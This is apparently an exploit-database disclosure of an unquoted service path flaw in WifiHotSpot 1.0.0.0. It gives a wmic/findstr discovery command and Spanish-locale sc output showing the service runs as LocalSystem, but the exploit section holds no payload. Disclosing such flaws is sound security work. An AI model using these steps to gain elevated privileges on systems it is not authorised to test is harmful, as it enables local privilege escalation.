WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path

2021-05-07
ID: 104312
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://www.gearboxcomputers.com/downloads/wifihotspot.exe
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:
 
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
MainService     WifiHotSpotSvc      C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe                          Auto

# Service info
sc qc wifihotspotsvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: wifihotspotsvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : MainService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem 
 
#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
1-4-2 (www01)